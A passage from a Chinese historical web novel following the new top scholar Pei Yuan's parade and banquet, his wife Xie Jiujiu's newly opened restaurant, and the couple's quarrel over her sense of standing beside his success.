这一路走过来不可谓不坎坷辛苦,但一路走来终于站在天下读书人的最前面,即便是裴元,此刻也难免把头颅微微抬高了些。这是他的骄傲,也值得他如此骄傲。 年轻人,适当的年轻骄傲盛气凌人都是可以被包容的,尤其升殿之后的皇帝,隔得这么远都能看见意气风发的年轻进士们,等着自己的诏书的样子,原本已经渐渐老迈的身体,也仿佛生发出一股莫名的生机。 皇帝着冕服升座,乐工奏乐,百官与进士行礼。行礼过后鸿胪寺官员出列,先高声宣读皇帝诏书,后唱名宣布今科一甲三名。 状元不出所料就是裴元,裴元听了唱名之后出列,一步一步上前,由鸿胪寺官员引导,至御道前单独向皇帝谢恩。 近年来颇有些我行我素的帝王,今天这种场合依旧没有老实,见裴元上前叩拜还非要往护卫在一旁的关宁业的方向意味深长地看一眼。 底下的臣子们看不清,但皇帝身边的刘太监和几个内侍,还有站在百官前面的太子都看得一清二楚。 关宁业有些无奈,却也只能冲皇上微微点头示意,用眼神表示臣当年就是心甘情愿入锦衣卫做陛下的心腹走狗,什么进士什么状元都不如跟着陛下强。 皇帝得了关宁业的眼神总算满意了,重新收拢精神听鸿胪寺的唱名。 榜眼是北直隶的考生姓徐,探花是扬州府的考生姓林,倒是之前南直隶的那位解元只得了第四名传胪。 传胪仅次于三鼎甲,位于二甲之首。按道理说这个成绩已然是万里挑一龙章凤姿,可谁让他前面偏偏有个裴元,这让新出炉的传胪楚青空脸上的笑意都带着几分勉强。 不过此刻没人关注他的勉强,唱名只唱到第四名为止,一甲三人当场赐朝服、乌纱帽与待会儿骑马游街要簪的金花,其余进士的衣冠等物次日自行去礼部领取。 而沈霁也不知是真走了狗屎运,还是殿试的发挥实在好得入了陛下的眼,原本会试排名二百零八,殿试过后竟取了二甲七十八名,硬生生挤进了二甲。 传胪大典结束,仪仗开道,锦衣卫和禁军护送,裴元领头带着今科进士从午门出,沿着京城主街转上一大圈,最后直至顺天府衙门,领顺天府提前准备好的状元匾额。 状元打马游街三年才一次,路边来看热闹的百姓把路挤得水泄不通,得横刀立马的锦衣卫们黑着脸在前面开道,才能清出一条路来。 裴元骑着御赐的白色骏马走在最前面,好些家中有孩子读书的人家,都恨不得挤上前来摸一摸裴元这个三元及第的状元公,人人都在说摸一摸裴状元,也能沾一沾文气。 如今京城都在传,状元公是文曲星下凡,所以才身世坎坷,这是老天对文曲老爷的考验,如今劫数尽了自然就中了状元皆大欢喜了。 更多的还是各家的小姐和娘子们,好些人都趁着今天这个喜庆日子出门来玩儿。 没钱的跟在家人身边挤在街旁,有钱的在酒楼要一个临街靠窗的位置,就为了能把这些个进士们看个够,看看哪个进士长得最标致,看着最好看。 大家闺房里枕头下谁还没藏过几个话本子,看了那么多话本子,总该瞧瞧这真正的进士相公,到底比起话本子和戏台子上的是不是更好些。 偏偏今年打头的裴元就有一副好皮相,又穿上了刚赐下的大红色状元袍,唇红齿白说是家中有妻有女偏还一副年轻俊朗的模样,连须都不曾蓄上,真真跟身后的探花郎不相上下。 而夹在裴元和林探花中间的榜眼徐裂云也不差什么,他是武将勋贵出身,家中虽是徐家旁支但父兄皆在军中任职。只有他,从小虽习武却喜欢读书,走了弃武从文的路子。 之前会试徐裂云排在第六,这次能得了榜眼一是那比裴元还要高出小半个头的好身板,那凌厉的五官猿背蜂腰的样子,真真比骑马护在裴元身边的关宁业更像个武将。 二也是因为他的家世,徐家世代勋贵,如今虽天下承平但军中还是有不少这些勋贵武将们的亲信,有些地 方的将领至今还称自己是徐家军的人,也没人能置喙什么。 陛下这些年一直对勋贵不冷不热,不愿意他们势大也不想寒了老臣们的心。便总是打个巴掌给个甜枣的哄着,如今给徐裂云的这个榜眼,便又是一个甜枣。 前面三人这么打眼,小娘子们提前准备的鲜花绣帕真真如雨下般往几人头上砸,砸得裴元躲都没地儿躲,想快些走前面的路又被堵着,只得连声喊表哥,让关宁业想办法拦一拦。 关家表哥对此只回了裴元一个白眼,要知道他堂堂一个北镇抚司副镇抚使,什么时候不值钱得要亲自出来护送状元游街了,还不是全托赖裴元! 会试的排名刚出来,家里老太太就千叮咛万嘱咐,到了这天千万护好了她的外孙。听得关宁业实在没忍住问了一句,那您的孙儿您这就不管了?气得老太太抬手就在关宁业后背上狠狠拍了两下。 他还想要自己帮忙,他没瞧见自己脑袋上都连带着被砸了不少香袋柳条?!现在这姑娘家怎么回事,怎么连状元袍和飞鱼服都分不清了!没瞧见自己腰间的绣春刀吗。 关宁业心里一路嘀咕,黑着脸一再催促前面的缇骑赶紧开路,再这么慢悠悠的走下去,等到顺天府的时候非砸出个好歹来不成。 裴元一路躲,还得一路看,怎么看怎么找都没找着自己那谢大娘子。眼看着都绕到南城了还没见着人,裴元的脸色渐渐沉下来。说好了来看自己如今又见不着人,好没意思! 直到进了南城,关宁业突然抬手拍了拍脸色已经很难看的裴元,裴状元郎一抬头,这才瞧见正前方一个新开的饭馆门口挂着好大一块匾额,上提着《云客来状元楼》,有些不伦不类,却又明晃晃地在蹭裴状元的名气。 饭馆门口站着一穿红裙的年轻妇人,这妇人打扮富贵又明艳,本就穿了一身红衫衬墨绿百褶裙,头上又戴着金丝嵌红宝的整副头面,侧边老大一支凤钗步摇,晃得人眼睛都疼。 偏这女子五官大气张扬,一看就是常在人前走动见惯了市井人情的。即便这会子不少人往自己这边看,还有人调侃似的扬声问她跟状元郎什么关系,就敢开这状元楼,她也只笑盈盈的并不怯场。 直到裴元下马走到自己跟前,谢九九才伸手牵住裴元伸到自己面前的手掌,“今科状元郎是我的夫婿,这云客来是我的买卖,这位贵客您说这状元楼,该不该我来开。” 第103章 第103章裴元:我那么大一个状…… 谢九九一说自己是状元娘子,本就热闹的人群顿时越发喧闹。几个一路跟着过来的中年男人发出阵阵慨叹,都在可惜了裴元这么个状元郎,怎么就已经许了人家了。 甚至谢九九还隐约听见了有人在问,自己这个状元娘子什么来头,怎么一个妇道人家自己个儿抛头露面出来开饭馆。 状元郎家中有了正头娘子,还缺不缺个姨娘,不说把女儿嫁过去为妾,谁家中还没几个亲戚孩子了,挑个模样好的送去状元郎家,正好红袖添香锦上添花。 这话听得人来气,谢九九抬手就在裴元腰侧狠狠戳了一下子。 本朝榜下捉婿的风俗习惯一直都有,据说前些年风气更盛的时候,真有官宦人家派小厮等在榜下。 杏榜一出,自家看中的读书人若中了进士,便强行拖回家去。 也不管人家家里有没有妻儿,总之先抢回去跟自家女儿成亲洞房,生米煮成熟饭,到时候是请糟糠妻下堂还是如何,那都是之后的事。 还是后来闹出两回大乱子,朝廷下令不许再真的‘榜下捉婿’,这风气才慢慢收敛了些。 但年轻的进士还是吃香,不让捉婿那就请人说合。会想到捉婿这码子事的,大多都是富商豪强或是中低阶的官宦人家,都是想要靠联姻增强家族势力。 门当户对的儿郎不好糊弄,倒是这些苦读多年一朝攀上高枝的进士们更好拿捏。毕竟还是寒门苦读出来的读书人更天真,也更容易被眼前的好处诱惑。 书中自有黄金屋,等真有人把黄金屋摆在眼前,能忍住不低头的人可太少了。家中的糟糠妻虽下堂,却还能安置在老家养着,自己在京城另娶娇妻攀附高门,再许多人心中都不失为两全之法。 这种事,谢九九以前只在戏台子和话本子上看过,容县那地方太偏僻了,这种热闹实在是赶不上。 现在终于轮到自己成了书中的‘糟糠妻’,谢九九颇有几分傲气的扬起下巴,冲那人群里故意大声说悄悄话的几人飞了几个眼刀子,直把人瞪得再不敢说话了,才挪开目光。 好在裴元机灵,这个时候乖觉极了。旁边嘈杂的声音全当做没听见,只乖乖站在谢九九身旁,双手护在她腰际虚环着,是毫不遮掩的亲昵态度。 “如何这么快就把铺子开起来了,不是说好了等我殿试过后,再一起忙这个事的。” “你们读书人不总说,明日复明日明日何其多?殿试过后还有那么多事要做,等这些事完了你又该去翰林院赴任了,我才不等你。” 一甲三名,等过几日吏部就该直接授官了。状元授翰林院修撰,榜眼、探花授翰林院编修,授官之后一个月之内就得赴任,裴相公时间紧得很,哪里有空来操心饭馆什么时候开张。 会试过后,谢九九就彻底对裴元撒手不管了,他被关家舅舅带出去拜见各路老师尊长,谢九九则趁着这大半个月的时间,把早就看好的铺子给定了下来。 开春之后正好干活,泥工瓦匠和木匠都是大表嫂金氏让府里管事找来的,有了这层关系活儿干得又快又好,到底是赶在传胪大典前两天,把饭馆都给收拾好了。 “那……”跨马游街还没完,身后关宁业已经在催促了,再不走人越堵越多就怕挤着踩着谁,今天这样的好日子要是真出了人命,那可就不好收场了。 “回家等我,等过两天我就把同窗带到铺子里来吃饭,咱们自己的买卖,以后出去吃饭就不能便宜了旁人。” 这话说的声音不小,但周围太吵了,听清楚了的只有站在一旁跟着来看热闹的小冯氏金氏妯娌俩,和潘掌柜几人。 堂堂状元郎,一张嘴就是生意买卖,俗气得小冯氏差点儿没冲裴元翻个白眼,再抬眼去看骑在马上皱眉指挥缇骑往前面开路的关宁业,感觉也没那么不顺眼了。 自家这男人是混不吝了些,名声也不怎么好。可真要摊上裴元这么个大俗人,再是状元郎自己怕是也受不住。果然个人有个人的缘法,求不来万全的事。 小冯氏眼波流转间在关宁业身上转了又转,看得关副镇抚使起了一身的鸡皮疙瘩,抬手在裴元身下的白马屁股上不轻不重抽了一马鞭,赶紧地领着一大串进士们走远了。 裴元走远了还在回头,看着状元楼匾额下的一袭红裙心里美滋滋的。那得意劲儿看得榜眼徐裂云忍不住开口说道:“状元公方才沿途接了那么多香囊手帕,可都没见你这般得意啊。” “诶~裂云兄此言差矣,这二者如何能相提并论。”裴元朝徐裂云摆摆手,“你大概没听说过,我这 人在外头有一名号,可是出了名的惧内,家中有此胭脂虎,又哪里还有胆量往别处看风景。” 这话不过调侃,徐裂云听得抚掌大笑。一旁不过二十还没来得及成亲就中了探花郎的林怀瑾也跟着笑,但其实对于裴元和徐裂云到底在笑什么,他其实有些一知半解。 倒是错三人半个身位落在后面,之前那位南直隶的解元,今科的二甲头名周即白一言道出了本质:“听说状元公是入赘给了谢家夫人,既如此,外面的红袖添香不敢碰触倒也在情理之中了。” 周既白对裴元的敌意来得毫无道理却又明晃晃,今科的会元是个赘婿这事难道需要他来挑明。便是不认识谢九九的,大家也都知道裴相公是别人家的女婿。 徐裂云似笑非笑打量了周既白一眼,要不是自己从会试第六名被钦点成了榜眼,他其实很有机会入一甲。 本以为这人就是有不满也该是冲着自己来,却不想这人一身的刺却是对着裴远舟去了,这倒是叫人有些意外。 但再意外徐裂云也没多说什么,一旁的林怀瑾却不由自主地瞪大了眼,有些惊讶周既白的无礼。要知道裴元跟他们之间的差距,可不止是殿试一名、二名、三名而已。 状元就是状元,名次为尊这个礼数不管过多少年也不能废了。哪怕徐裂云这么好的出身又比裴元年长,也照样要唤他一声状元公,要不然便是轻慢无礼。 这种人没人计较便罢了,要是裴元心窄一点儿传言出去,明日陛下的案头就一定会摆着御史们弹劾的折子。 管你什么传胪不传胪的,这还没怎么就如此没个尊卑长幼,往后真入了官场他的上官又如何能放心用他。 “周传胪这话说得轻慢了,夫妻之间若有真感情,又何来敢与不敢的说法。我与我家夫人自成亲以来便恩爱非常琴瑟和鸣,又岂是一句入赘不敢就能说清楚的。” 裴元不怕别人说自己是个赘婿,但却不愿意听周既白用那种轻佻的语气说起谢九九。好似她只不过命好,抓住了自己的短处才得了状元娘子的尊贵一般。 裴元这话说得很重,听得徐裂云和林怀瑾都低了头不说话。倒是一旁的关宁业忍不住闷闷笑了一声,什么琴瑟和鸣?这两人凑一块儿也凑不出一个会弹琴的,倒是算盘一个打得比一个溜。 不过到底在外边,身为关家表哥再怎么也得护着自家人。他一个眼神甩给护在后面一点儿的缇骑,没多会儿作为二甲头名的周既白,就被锦衣卫缇骑拦着,跟前面的一甲拉开了很明显的距离。 本来这个名次等级并不会弄得这么分明,可既然你自己不省事不知趣,就怪不得人家关副镇抚使公事公办了。 周既白当然也知道自己说错话了,其实他对裴元也谈不上多么憎恶。只不过会试之前自己与他都是解元,之前又都是中了小三元的案首,如今一天一地两种境遇,心中多少还是有些不平罢了。 可还没等他说话往回圆一圆,身侧的两个缇骑就极其碍事的把自己跟一甲三人给隔开了,想说话也没了机会。 跨马游街过后,紧跟着又是琼林宴。 今科的琼林宴是皇帝亲自主持,裴元为状元独坐一席,对面是榜眼和探花合坐一席,之后依次按照名次四人一席,规矩森严得让每一个新晋的进士老爷们都不得不心生感慨。 坐在前面的腰杆子都挺得更笔直些,坐在后面的得眯着眼才能看清楚前排的人和动作。 这个时候荣耀之中众人的心境又大不相同,坐在后面的艳羡坐在前面的,坐在前面的又忍不住想,要是当初再使把劲儿,说不定那状元郎的位置,自己也能坐。 只有裴元这会儿心中最为平静,哪怕坐在上首的皇帝主动问起他昨日之事,他也只是笑笑道:“状元郎家中有个河东狮,这样的传言总是比才子佳人的故事更有趣些,陛下又何必拿这个来打趣臣。” “诶,这不是打趣。”威严的帝王昨日晚间听说裴状元的妻子借着打马游街的风头,开了一个状元楼的事情之后笑得十分畅快。 “糟糠之妻如此恩爱,你这小子倒是不错。” 眼下的后宫没有皇后,十年前元后去世之后皇帝就没有再册立皇后,如今后宫诸事是贵妃统领宫中女官协管着。 朝中人人都觉得陛下一直不立皇后,一是年纪大了疑心重,不愿再立起一个后族来以免外戚势力壮大。毕竟先皇后的父亲早在八年前,就已经被陛下全族一起送回老家去了。 “谢陛下夸奖,臣也觉得臣与臣的妻子如此恩爱,是人生幸事。” 这话听得坐在对面的林怀瑾脸都红了,他没想到裴元这个状元郎不光在自己面前能说出那么肉麻起腻的话,连对着陛下也能说出这样的话来。 徐裂云听过一次之后就习惯了,他清楚裴元这是在一而再再而三的向世人呈情表白,他裴远舟是心甘情愿入赘给谢家那个娘子,你们谁也别为了他扼腕叹息,说得多了的都是狗拿耗子多管闲事。 身为皇帝,自然也明白自己这个状元话里的意思。人生幸事这四个字他含在嘴边来回咂摸了一小会儿,最后和着一口酒全咽下肚去。 帝王心事,裴元捉摸不透也懒得琢磨。自己这个状元郎再稀罕也不过这一阵子,等入了翰林院,那里头一块砖顺着墙头扔进去,一砸一个状元榜眼和探花,谁也别拿这个来说事。 他在意的还是谢九九的状元楼,琼林宴之后裴元作为状元率重进士上表谢恩,之后去国子监拜谒孔夫子,把姓名刻于国子监进士碑上,以传千古。 把这些事全干完了,裴元这才拉上沈霁和徐裂云、林怀瑾,再喊上关宁业作陪,专门抽了一日空闲往自己的状元楼去。 谁知到了地方,人傻眼了。原本那么大块匾额凭空消失,取而代之的是和容县几乎一模一样的招牌,上面就三个字:云客来。 裴元站在饭馆门口来回的看,进去看见柜台后面站着的潘掌柜,才确定自己没走错地方。 潘掌柜早看见裴元了,见他进来拔高了嗓子喊了声姑爷,就要把几人往楼上请。这个小饭馆也有二楼,只不过二楼就两个雅间,地方真真是不大。 “老潘,那天那招牌呢。”裴元一边说还一边拿手比划了一下,示意是那么大的匾额,不是今天这个小的。 “那块招牌东家让收起来了。”潘掌柜一看裴元这脸色就知道,自家这东家是把姑爷惹急了。 “为什么啊?!”裴元专门带着人来显摆的,现在状元楼没了,那还吃个什么饭啊。 随即也不管还有徐裂云和林怀瑾在,只把两人拜托给沈霁,让他作陪先吃着,自己则转身上马一路往家里赶去。 第104章 第104章谢九九,你可真没良心…… “大娘子,咱们哪天得空去新宅那边看看吧。” “哪有空啊,饭馆刚开张,这一天天不是这个少了就是那个缺了的,到时候再看吧。” 云客来不该这么急匆匆开张的,按照谢九九的原本的规划,云客来应该等到端午节之后再开张更合适。 京城的天气跟容县太不一样了,很多 菜色要因地制宜的调整,容县特色的辣椒和腊味有的要现做,有的要靠岳州会馆的商队往来输送。 京城周边的农户村庄也种辣椒,但品种和味道差别还是很大。现在云客来有很多菜的调味都是用椿叶花椒,和茱萸捻成粉末加上干辣椒做成的辣油来调配。 茱萸的味道比辣椒温和,原本云客来也常拿来做炖煮的菜色,但茱萸本身带着淡淡的草木香和微苦,做菜的时候不能放太多。 这就导致了云客来眼下有挺多菜色上不了,很多调料还得搭着会馆的关系,暂且跟京城其他几家潭州、岳州老板开的饭馆拆兑。 谢九九现在说什么也是有后台的人了,要买个调料菜蔬肯定不难。不过人家也是开门做生意的,不说怕不怕你挤兑了生意的话,总不能亏本给你。 所以谢九九现在缺的很多东西,都是用比之前贵很多的价钱谈下来的。这么一来,云客来眼下别说赚钱,只要每个月能维持住不亏,都算谢九九有本事了。 但即便如此,谢九九还是这么干了。就为了裴元跨马游街那日自己出个风头,没有别的任何原因。 “我这次是不是任性了?” “任性就任性,本就是自家的买卖,您是东家,难不成这买卖怎么做您还不能自己说了算?” 两人从小一起长大,别人或许还看不出谢九九这些日子的异样,但春儿却是都看在眼里了。 当初在容县决定连二少爷成亲都不等,携家带口跟着姑爷来京城那日起,自家姑娘其实就把自己往后放了一步。 这事没什么对错,如今姑爷成了状元郎,家中上上下下都跟着沾光。前天曹勇还私底下跟自己嘀咕,他现在出门居然还有人叫他勇大爷,吓得他连说话都结巴了。 关杰一家子更是被关家众多奴仆下人艳羡眼红,在关家靠边站的家生子,被关家送了人,居然又成了状元府的管事,这样好的运道实在是没地儿说理去。 但再好,自家姑娘也渐渐有些受不住了。春儿说不出什么大道理,她只是能清楚看见每次有人夸她命好,跟着裴元成了举人娘子、会元娘子、状元娘子时的不耐烦。 “姑娘,您别着急。咱们从夫人那里要来的几亩地已经都开出来了,辣椒苗也找人在火房里育上了,等过了端午移栽出去,今年秋上收下来头茬,往后就不愁没得用了。” “京城的辣椒到底不如咱们那边的辣,怪不得潭州菜馆那边生意老这么不温不火的,还是味道不够劲儿,不是咱们家那个味儿。” 潭州菜馆的菜都是纯正的本地调味,唯一的区别就是口味不如老家的重。上次谢九九一行人去吃得挺高兴的,但回过头一想,也能想明白他家的生意为什么起不来。 要么你能做出老家的味道别出心裁别具一格,做成京城里的独一份。要么就多多少少得迎合京城和北地的饮食习惯,不然这般前后不靠的,哪头都讨不着好。 “这事大头也说了,他虽然在外边学不着什么,但这些日子听说天天都跟着厨房的覃妈妈学白案和京城这边的菜色,慢是慢了些,但总归能有用的。” 饭馆肯定还要再招一个擅长做北方菜色的厨子,以后厨房由大头负责,他可以不精但不能不懂,要不然这小小一个饭馆里的厨房还闹出一南一北两个厨子互相不服气,就真成了笑话了。 是啊,什么事都急不得都得慢慢来,事缓则圆这四个字自己向来常挂在嘴边说,可真到了要紧的时候,原来自己也控制不住。 “那新宅那边?” “就这么想搬家啊,这停云斋住得不舒服?” 关令仪作为关家的老姑小姐,这几年一直侍奉在老太太跟前,家中本就没人敢怠慢她。 现在裴元又中了状元,哪怕是一同借住在关家的沈霁,如今也俨然成了关继业的半个老师,整个停云斋里的奴仆下人,要说伺候得不周到,那真真是不曾有的。 “那倒是不曾,这府里上下待咱们客气得很。知道我总要进进出出替娘子办事,还专门拨了一顶小轿给我,好让我进出省些力气。” 可再好住,也比不过皇上御赐的状元府啊。春儿挨着谢九九坐下,“宅子赐下来,就那天咱们跟着过去看了一眼,我都没来得及看明白到底有多大就回来了。” 裴元不止是状元郎,还是三元及第的状元郎。对于陛下来说这就是最好用的招牌,他必须大加封赏,赏得天下的读书人都为此眼红、趋之若鹜,自己皇权才更加稳固。 赐给裴元的状元府位于东城,比关家离国子监和翰林院还要更近便一些。 前后三进带外带一路西跨院的宅子,除了府后没有关家这么大的花园子和小人工湖,大小也差不了多少。按照规制,比寻常四五品的文官府邸还要更高一些。 “那么大个宅子,光是扫地守门的下人就得安排不少。昨儿出门的时候碰上大房的大奶奶也出门吃酒,她还让我问问您想不想买人,府里今年要买几个小丫头回来,您要是要买人,她就让官牙人给留意着。” “买人的事暂且缓缓,咱们有事求着府里的时候就搬过来住,现在事情办完了难不成就这么拍拍屁股走了?不像话。” 关家这样的大户人家,是不怕亲戚住在府里的。毕竟大家都有各自的院子,院门一关谁也扰不着谁。 或许那些真正上门打秋风一住好几年不走的,金氏说这话是在暗示人家住得久了该走了,但裴元和沈霁决计不可能。自己要真现在就走,那才是把人给得罪了。 这事就得慢慢来,状元府那边慢慢布置着,这边多陪老太太过几个节。等三请三辞之后,实在留不住了再搬过去,这才全了两家的情面。 “那过几日我叫上曹勇和高义先过去看看,看看缺什么东西多少人,咱们好歹慢慢置办起来。” “这行,正好陛下连同这宅子还赐了五十亩地,到时候抽空也去城外看看。” 五十亩地,着实不算多。唯一的好处是从皇庄里拨出来的,连同种田的几户人家和一个小小农庄也一起给了。 这个陛下,市井里皆传他近年老迈多疑,但对于他看上的或是想要封赏优待之人,那可真是能赏得面面俱到,叫人说不出一个不好的字来。 知道你以后要天天要往翰林院去点卯上衙,就把宅子赐在离翰林院走路也不过一刻钟的东城。那地方挨着京城的‘文脉’,真真是再好不过的清贵地方。 赐了宅子还不够,又怕你突然得了这么大一座宅子没法维持,就又连同宅子一起赐下五十亩田产和几户佃农。 赐下宅院那日,一起送来的还有那五十亩田地去年的产出,把粮食棉花一起折算下来,也能有个五十两上下。 毕竟翰林院修撰一个月的俸禄也就十两银子,这点钱也就比关家少奶奶每月的例钱多二两,想要靠这个养家,那全家非得一起上街讨饭去。 想起这个谢九九的心情又好了一丁点儿,可这样的好心情还没维持多久,就被裹着一身怒意卷进屋来的裴元给打破了。 “怎么了这是?出什么事了。”裴元很少七情上脸,以前还在老家的时候,谢九九难免碰见难缠不讲道理的客人,有时候回家了心里都还憋着一股气,见谁呲呲谁。 家里人对此都是能躲则躲,只有裴元会把谢九九牵着去书房坐下,他看书写文章,由着她在书房里随便干些什么。 谢九九这个时候一般都会给裴元收拾书房,等把书房里的东西从这边摆到那边,又从那边挪到这边地折腾一溜够,气也消得差不多了,才会愤愤地把事情给裴元从头到尾说一遍。 听完了,不用裴元再假模假式地陪着骂,谢九九的气自然而然便散了大半。这时候书房便成了两人颠鸾倒凤胡作非为的地方,再不能让旁人踏足半步。 “我今天带着徐裂云和林怀瑾他们去铺子里吃饭,老潘说你把那天那匾额给摘下来了。” 裴元这一路回来是越想越气,这几天不管什么场合,不管有没有人问他,他总能把话题往状元楼上扯,总之这几天只要跟他裴远舟搭过话的就都知道,状元娘子给裴状元在南城开了一间状元楼。 “我还说你们只管去,去了就知道我们家状元楼的味道是一顶一的好。”现在可好,感情人家就那一天哄着自己高兴傻乐呵,过后连匾都给摘了。 “你凶什么,什么话不能好好说啊。”谢九九啪一下就把手里的毛笔给摔了,成亲这么久她还没被裴元这么扯着嗓子凶过呢。 “你也不看看那匾多长,咱们家那饭馆多小。那么长一块匾,又是云客来又是状元楼的,就这么一直挂着像话吗!” 谢九九才不怵他,迎着裴元盛满怒意的眸子又往前逼近了几步,“再说了,你是状元郎,有一个开饭馆的娘子就够拿不出手的了,我怎么可能真的一直把状元楼挂在匾上,我自己的买卖我不用状元的 名气,也能做成。” “你说什么?”裴元觉得自己马上就要被谢九九给气死,“什么叫够拿不出手,谁跟你说什么了?还是……” “我们成亲之前不是都说好了的,我以为你不会、不会多想。” “我为什么不会多想,你是状元,而我却什么都不是。以前还有个云客来,现在却连云客来都没了。” 那天自己穿着一身红衣站在状元楼那块匾额下,人人都向自己投来艳羡的目光,而自己的本意确实也是想要让所有人都知道,裴元是自己的,谁也不准觊觎。 可等到人群簇拥着裴元领头的进士们走远,谢九九又顿时觉得自己的行为好没意思。人要变就总是会变的,自己做这一出也没有用。 或者说自始至终裴元都没有变,在偷偷患得患失的是自己,是没了云客来没了能紧紧握在手中,独属于自己的倚仗的自己。 谢九九突然红了眼眶,哽咽着冲裴元扬起头颅,“你看,我就是这么个不讲道理又自私的人,状元郎要是看不惯,还是趁早离了我的好。” “呵!”裴元被谢九九的蛮不讲理和色厉内荏给气笑了,他低头迎上谢九九的犟得比驴还犟的眸子,“谢九九,你可真没良心。” 第105章 第105章我给忘了 表少爷跟表少奶奶吵了一架,这事很快就传遍了整个关府。 停云斋就在颐寿堂后面,最先得到消息的自然是关令仪这个当娘的和老太太庞氏。 或是对于儿子是入赘这件事多多少少还是有些在意敏感,一听两人吵了架关令仪第一反应便是:元哥儿没事吧。 “慌什么,有什么好慌张的。” 倒是庞氏这个当娘的更稳得住,一把拉住要起身往停云斋去的大女儿,“你这时候去,不管说什么做什么都是火上浇油,不许去。” “娘!”老太太的手微凉却坚定,关令仪心中再焦急,被母亲这么一拽也冷静下来,“娘,我就是去看看,什么都不说。” “你去了什么都不说也是个态度。”庞氏人老成精,抬眼往来报消息的丫鬟身上扫了一眼,“说,是谁让你来的。” “回老太太的话,是停云斋二门上的两个老妈妈让奴婢来的。说是怕表少爷和表少奶奶闹大了不好收场,这才让奴婢赶紧来报信。” “瞧瞧,这事是府里这些婆子鬼精鬼精来打小报告,人家夫妻和他们身边的人可没让人来回禀这事。” “你是元哥儿的娘,九九又是孤身一人带着孩子跟来的京城。你不过去,他们夫妻之间就是今儿把停云斋的房顶给掀了,那也不是大事。” “你去了,那就是你和元哥儿仗势欺人,这事哪怕现在过去了也得在九九心里留疙瘩。你就这么一个儿子,往后老了还是要靠着他的,不能这个时候干傻事啊。” 越大的家族,越把婚丧嫁娶看得重要,娶媳妇还是招女婿,即便现在关家上下都默契地不怎么提这个事,但在庞氏心里却还是有一杆秤。 她本想跟女儿说你这个做婆婆不要随意插手儿子和儿媳的事,可转念一想她还真算不上人家的正经婆婆。 京城有一伯爵府,当初也是给独女召了个女婿回来。这么多年直到姑爷的亲娘去世前,这家的小姐也只尊她一声夫人、老夫人。 姑爷住在伯爵府,亲娘就在外面买了个宅子安置,便是如此京城这些最长舌的夫人最严苛挑刺的酸儒,也不曾说过他府上半句闲言碎语,这便是规矩。 庞氏一年比一年老了,当年以为等不到女儿回来,现在大女儿陪在自己身边的每一天,庞氏都觉得是自己偷来的赚来的。 但毕竟年纪还是大了,已经老得今晚躺下就不知道明天还能不能起得来。 她这辈子生了五个孩子,除了老二走得早,关令仪一生坎坷,其他三个都各有各的家。 树大分枝,即便关如璋关如琅兄弟两个关系一直很好,冯氏和杨氏这俩妯娌再闹也不过小打小闹。可只要哪天自己死了,这个家就势必要分。 “老五在外面早就买了宅子,也在东城。离府里不远,不过离杨府更近便些。” 京城内城中东边多文官富商西城多勋贵王府,关如琅选的那个位置正好卡在正中间,甚至离他老丈人家更近一点。 因为什么?因为若是有朝一日自己去世,关如琅有什么事头一个想到的就该是他老丈人,便是嫡亲的兄弟也得往后退一步了。 头上有爹娘在,兄弟就是亲的,没了爹娘兄弟姐妹就成了亲戚。 这不怪谁,庞氏自己细想想自己的兄弟姐妹,早在十几年前就不怎么见面了,只有逢年过节婚丧嫁娶的时候,才会送礼往来。 后来?再后来几个年长的姐姐哥哥都死了,如今就剩了一个庶出的小妹妹在南直隶。 两人得有五六年没见了,上次见面还是她带着儿子和孙子往京城来,说是来看看自己,其实还是为了给孙儿谋个好点的差事。 “九九是个心宽的,你舍得放手她便不会待你差到哪里去。” 庞氏拉着女儿的手一字一句细细叮嘱,“你看看我,府里你两个嫂子不管争什么吵什么,便是闹到我跟前来,我什么时候插嘴管过。” “就更不要说他们夫妻之间的事,只要院门关上了,只要不是两人一起到你跟前来说,你就得学会装聋作哑,要不然以后你的日子就不好过。” 走丢了半辈子才找回来的女儿,平日庞氏对关令仪说是骄纵也不为过,今日算是这几年第一次以训诫的语气跟女儿说话。 关令仪被庞氏说得沉默不语,庞氏也不管女儿一时半会儿的能不能想明白,又转过头去看还跪在底下的小丫鬟;“这些日子,你可听说了什么不应该的事。” “回老太太的话,不曾听说什么事情。”停云斋的丫鬟本就是庞氏一个个挑选过才放过去的,不过是从放过去到现在,这几个月都没出过什么不该出的事。 不管是裴元沈霁还是谢九九和于氏,都是拎得清的人,也不难伺候。时间长了这些丫鬟婆子们才松懈了些,要不然今天也不该这般贸贸然地过来。 “不曾听说就去好生打听,别声张别叫人发现,看看元哥儿这段时间在外面除了老师和同窗还有没有别的交际。要是没有,这事就不要再提了,要是有,立马来回话不许再跟旁人说。” “是,奴婢这就去。”到了庞氏跟前,小丫鬟就恢复了平静稳重的神情,不再像刚进来时那样慌慌张张混不像个样子。 关令仪看着丫鬟出去,半晌才回头看向自己亲娘,“娘,您这是怕元哥儿在外头有什么了?” “女人跟男人吵,总归有个来由。这世上就没有什么真的无理取闹,左不过是那些个男人压根懒得想女人为什么跟他们吵,才拿这个话来敷衍。” 云客来开张了,外孙又成了状元郎。陛下新赐下的状元府全交给谢九九,由着她的心意布置,就连关令仪暂时也不会搬过去和他们小夫妻俩同住。 两人成亲好几年虽只生了一个阿满,但孩子康健聪敏又长得跟个雪团子似的惹人喜爱,庞氏实在想不出有什么事情能让谢九九还住在府里,就跟裴元吵起来。 “娘的意思,是觉得元哥儿在外面有人了?” “不一定是元哥儿有人了,他是状元郎,还是三元及第的状元郎。有些东西他便是不要,也会有人硬往他手里塞。” 庞氏这话说得没错,但关令仪并不认同。或许是自己早年的经历和儿子的出身,有些事母子二人从未明说过,但关令仪清楚,自己的儿子不会接受别人像送个物件一样塞给他的女人。 但这话关令仪没跟庞氏说,有时候即便是亲娘,有些话也是不能说的。 好在谢九九也明白,所以对于裴元来说有个好消息,便是谢九九不会因为这些事误会他。不过还有 个坏消息,那就是即便没有这些误会,两人还是互相不肯低头。 三月底四月初的天,便是夜里也不那么冷了。至少这会儿裴状元坐在书房,开着窗开着门把书本翻得哗啦啦直响,也不至于冻出鼻涕泡来。 院子里原本守门的两个婆子这会儿也躲到门房里头去了,这个时候谁露面谁谁是傻子,连颐寿堂的老太太和老姑小姐都装聋作哑,谁都不敢插手这俩主子的事。 沈霁在准备翰林院的馆选考试,今晚上应该就留在关如琅的西院书房里歇下了。只有于氏坐在谢九九对面,看着她一副气鼓鼓只觉得好笑。 “裴相公是状元郎你便是状元娘子,这本就是天经地义的事情,都是夫妻,你又何必分得那么清楚。” “那当然不一样,我不习惯别人一提起我就说我状元娘子是他的夫人,好像没了他我就什么都不是了。” 